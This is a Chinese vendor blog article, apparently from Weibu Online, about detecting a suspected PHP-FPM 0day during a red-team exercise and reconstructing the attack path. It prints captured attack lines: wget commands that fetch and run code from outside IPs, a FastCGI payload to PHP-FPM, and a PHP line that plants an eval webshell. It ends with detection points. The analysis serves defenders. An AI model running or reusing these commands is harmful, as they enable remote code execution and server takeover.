攻防演练进入下半场。面对毫无波澜的内网,蓝队的朋友们靠着零食和香烟,熬了好几天。不过,在我们看不到的地方,其实已经暗流涌动。红队拿着各类高危0day与疑似0day漏洞,早已瞄准了特定的目标。
通用0day检测:多条通用命令执行+wget文件下载
“快,有告警!” 安杰(化名)作为这次攻防演练入驻某大型企业的分析师,看到弹窗通知“高危!通用命令执行”后,身体一激灵,瞬间从平静的现实世界扎进网络空间。紧接着,登录系统,查看告警详情,安杰发现这次攻击有点不简单:
下载脚本文件,调用python执行:
go=die(`wget+-O-+34.146.141.55:9001|python`)
go=die(`cd+/usr/local/bin;wget+39.105.13.51/sshs;chmod+%2bx./sshs;nohup+./sshs%26`)
微步X情报社区对IP的判定
疑似0day攻击回溯:TDP全流量与智能记录流量判定
攻击者凶器已找到,剩下就是判定攻击者入口来源。打开TDP,安杰被眼前“数量巨大”的几千个流量包惊呆了。
不过,抓贼要紧。基于TDP全流量与智能记录流量功能,安杰通过高级查询(net.src_ip = 'xxxx' and net.dest_ip = 'xxxx' and net.type = 'http'),横跨2000多个TCP连接,竟成功回溯到疑似高危0day漏洞的攻击告警。
TDP下载PCAP流量包部分展示
aaa=bbbbbbbbbbbbbbbb&cccc=d&eeeee=[exploit code已经隐藏]python+-c+"
import+socket,urllib;
s+=+socket.socket();
s.connect((\"localhost\",9000));
s.send(urllib.unquote(\
...
x11x0b GATEWAY_INTERFACE FastCGI/1.0
...
x09x1f PHP_VALUE ... = ...
x0fx16 PHP_ADMIN_VALUE ...=...
...
<?php system("echo '@eval(\$_REQUEST?:\"die()\");' >> /opt/www/index.php");exit;?>
x01x05x04*x00x00
x00x00\
"));
s.close();"';--+'
而如果端口未开放,攻击者仍可通过后端代码的某种逻辑,使得后端代理向PHP-FPM发起交互,进行利用。查看解码还原后的payload,安杰发现此次TDP检测到的疑似高危0day漏洞攻击,即采用该手法。
0day攻击路径还原:从webshell到主机,再横向移动
接下来要做的,是攻击路径还原。基于已捕捉的攻击行为及攻击载荷日志,安杰还原了整个攻击过程,并做了简要梳理:
攻击者尝试通过多套攻击链路进行攻击,其中针对PHP-FPM的疑似0day漏洞攻击成功。随后,攻击者利用webshell恶意软件,控制企业网站服务器,以该服务器为跳板,在企业内网进行横移,寻找进一步提权机会。
0day漏洞验证
最后,附上此次IOC及检测点列表,可供攻防演练的朋友自检:
-
加强 PHP-FPM类漏洞利用的规则检测; -
通过UA python,推测攻击者已经将此利用自动化,因此可以直接匹配上图模式串; -
检测上述的webshell特征; -
检测上述的命令执行特征; -
把上述 IOC 加入威胁情报; -
其他相关漏洞攻击的检测特征:url参数中含有“luac”,但上传文本文件; -
其他相关漏洞攻击的检测特征:url 参数中不含有“luac”,但上传luac 文件。
此外,微步TDP不仅可检测疑似0day漏洞,也可对0day漏洞进行检测。自6月底至今,TDP已检出多个在野利用0day漏洞,涉及知名OA、开发应用、财务软件等平台,并将陆续联系厂商,进行及时修复。
↓↓↓
原文始发于微信公众号(微步在线):红队疑似掏出了0day?TDP反手就是…(附检测方法)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论